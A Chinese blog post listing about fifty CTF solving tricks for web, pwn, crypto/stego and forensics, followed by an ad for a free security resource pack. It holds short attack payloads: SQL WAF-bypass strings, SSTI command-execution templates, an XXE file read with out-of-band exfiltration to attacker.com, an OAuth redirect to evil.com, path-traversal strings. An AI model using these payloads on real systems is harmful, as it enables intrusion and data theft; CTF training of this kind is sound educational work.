CTF 大神才知道的 50 个解题骚套路,速速收藏!

专注网络安全领域,包括安全岗位招聘,红蓝队建设,实战攻防,内网渗透,社工,CTF

,安全技术分享等。

CTF 竞赛的核心玩法
  • 核心目标

    : 以 Flag 为导向,光速拆解问题、熟练运用各种工具、培养模式化思维。

  • 关键原则

    : 先撒网再深挖(信息收集要全面)、分而治之(复杂任务拆开搞)。


第一弹:Web 安全(15 个骚套路)

  1. SQL 注入绕过 WAF

  2. /*!50000注释*/ 给 SQL 语句“化妆”(MySQL 的独家秘方)。例如,SELECT /*!50000CONCAT*/(user,password) FROM users

  3. CONCAT(CHAR(115),CHAR(101))

    闪亮登场,替代明文字符串,让 WAF 看不清。

  4. SSTI 模板注入

  5. Flask/Jinja2 里,{{''.__class__.__mro__[1].__subclasses__()}} 带你找到那些“危险分子”。

  6. Twig 模板里,{{_self.env.registerUndefinedFilterCallback("exec")}} 直接执行命令,简单粗暴。

  7. 文件包含漏洞,用起来!

  8. PHP 伪协议 php://input 读取 POST 的原始数据,悄咪咪写入 Webshell。

  9. 利用 logrotate 日志文件包含漏洞(比如通过 /proc/self/environ 泄露路径)。

  10. JWT 伪造攻击

  1. 把 Header 里的 alg 改成 none(记得把签名字段删掉哦)。

  2. 暴力破解弱密钥,hashcat -m 16500 安排上!

  3. XXE 漏洞,榨干它的价值

  1. <!ENTITY xxe SYSTEM "file:///etc/passwd">

    读取系统文件,就像开盲盒一样刺激。

  2. 外带数据(OOB)骚操作:http://attacker.com/?data=%xxe;,数据到手,快乐我有。

  3. CSRF 绕过同源策略

  1. 精心构造一个自动提交表单的恶意页面,用 <img src="[URL]"> 触发请求,神不知鬼不觉。

  2. SSRF 内网探测

  1. gopher://

    协议 + Redis 未授权访问 = 写入 SSH 密钥,内网畅游不是梦。

  2. 反序列化漏洞

  1. PHP 里,__destruct()__wakeup() 魔术方法,让反序列化变成“夺命连环call”。

  2. Java Commons-Collections,InvokerTransformer 帮你执行命令,威力十足。

  3. Cookie 伪造

  1. Flask 的 Session 签名伪造,用已知密钥生成恶意 Cookie,flask-unsign 工具用起来。

  2. CORS 配置错误

  • 修改请求头 Origin: target.com,骗服务器返回敏感数据,这招叫做“偷梁换柱”。
  1. HTTP 请求走私
  • Transfer-Encoding: chunked

    Content-Length 打架,轻松绕过网关,实现请求走私。

  1. 目录穿越读取文件
  • ....//

    %2e%2e%2f,绕过路径过滤,想看啥就看啥。

  1. Web 缓存投毒
  • 篡改 X-Forwarded-Host 头,把恶意内容注入缓存页面,让别人“中毒”。
  1. OAuth 登录劫持
  • 伪造回调 URL 窃取授权码(比如 redirect_uri=http://evil.com),狸猫换太子。
  1. 浏览器特性,拿来吧你!
  • <link rel="prefetch" href="secret.php">

    悄悄窃取登录态,这波操作很细节。


第二弹:逆向工程与 PWN(12 个骚套路)

  1. 函数定位,快准狠

  2. IDA 里搜字符串 "flag""correct",关键逻辑就在眼前。

  3. 栈溢出,安排!

  4. 计算偏移量,cyclic 200 生成字符串,dmesg 查看崩溃地址,一套带走。

  5. 格式化字符串漏洞

  6. %n

    向任意地址写入数据,修改 GOT 表,实现“指哪打哪”。

  7. 堆利用(UAF/Double Free)

  8. 释放后重用(UAF),修改虚表指针,劫持控制流,这叫“借尸还魂”。

  9. ROP 链构造

  10. ROPgadget --binary ./pwn

    提取可用指令片段,拼凑 ROP 链,实现“乾坤大挪移”。

  11. 反调试,绕过它!

  1. 修改 /proc/self/status 里的 TracerPid 字段,骗过调试器,让它“眼瞎”。

  2. 动态 Hook,真香!

  1. LD_PRELOAD

    劫持 strcmp() 函数,绕过密码校验,实现“偷天换日”。

  2. Shellcode 编写

  1. 生成无空字符的 Shellcode,msfvenom -b '\x00',让 Shellcode 更“丝滑”。

  2. 整数溢出,利用起来

  1. 触发符号错误(比如 size = -1 绕过长度检查),实现“以小博大”。

  2. Angr 符号执行

  • 自动求解路径约束,破解 CTF 里的“迷宫”题,让 Angr 带你飞。
  1. Patch 二进制文件
  • Binary Ninja

    修改跳转条件(jzjnz),改变程序命运。

  1. 侧信道攻击
  • 通过时间差判断密码正确性,逐字符爆破,感受“时间的力量”。

第三弹:密码学与隐写术(13 个骚套路)

  1. Base 家族,一眼识破

  2. Base64(末尾 =),Base32(全是“大高个”字母),Base58(没有 0/O/I/l)。

  3. RSA 低指数攻击

  4. e=3 且明文很短时,直接对密文开立方,简单粗暴拿 Flag。

  5. RSA 共模攻击

  6. 相同明文加密后,用扩展欧几里得算法恢复明文,感受数学的魅力。

  7. 哈希长度扩展攻击

  8. 利用 SHA1/MD5 的填充机制伪造合法签名,hash_extender 工具用起来。

  9. 培根密码

  10. 5 位二进制模式(A=AAAAA, B=AAAAB…),感受“培根”的香气。

  11. 词频分析

  1. 英文单表替换密码,统计高频字母(E、T、A),让密码“现出原形”。

  2. LSB 隐写提取

  1. Stegsolve.jar

    分析图片 RGB 的最低位,找出隐藏的秘密。

  2. 音频隐写

  1. Audacity 查看频谱图,寻找摩尔斯电码或二进制波形,让声音“说话”。

  2. ZIP 伪加密破解

  1. 修改 ZIP 文件头加密标记位,zipdetails 分析结构,让伪加密“破功”。

  2. PDF 隐写

  • pdftotext

    提取隐藏文本,或者检查对象流(/FlateDecode),挖掘 PDF 里的秘密。

  1. NTFS 数据流隐藏
  • dir /R

    查看 ADS(Alternate Data Stream),找出那些“隐身”的文件。

  1. PNG 文件修复
  • 手动修复文件头(89 50 4E 47 0D 0A 1A 0A)和 CRC 校验,让图片“复活”。
  1. 二维码数据提取
  • zbarimg

    扫描模糊或残缺二维码,让信息“重见天日”。


第四弹:MISC 与编程(10 个骚套路)

  1. 编码转换,自动化搞定

  2. Python 脚本批量处理 Hex/Base85/URL 编码,效率翻倍。

  3. 流量分析,Wireshark 出马

  4. 过滤 HTTP 流:http.request.method == "POST",关键信息不放过。

  5. 内存取证,Volatility 显神通

  6. 提取进程列表:volatility -f dump.raw pslist,让“罪犯”无处遁形。

  7. 社会工程学,信息收集

  8. 通过 WHOIS 查询域名注册人邮箱,掌握“关键人物”信息。

  9. 正则表达式,暴力提取

  10. grep -oE 'flag{[a-zA-Z0-9_]+}'

    快速匹配 Flag 格式,一抓一个准。

  11. 时间盲注,自动化爆破

  1. 编写 Python 脚本,结合 requests 与延时判断,逐字符爆破,让时间“说真话”。

  2. Git 泄露,利用起来

  1. 访问 /.git/HEAD 确认存在,git-dumper 恢复源码,拿到“源代码宝藏”。

  2. DNS 隧道检测

  1. 分析长域名请求(比如 abcd1234.evil.com 携带 Base64 数据),揪出“隐秘通道”。

  2. Excel 宏代码提取

  1. 解压 XLSM 文件,检查 vbaProject.bin 中的恶意宏,让病毒“无处藏身”。

  2. PDF 混淆,绕过它!

  • qpdf --stream-data=uncompress

    解压对象流,让混淆“失效”。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值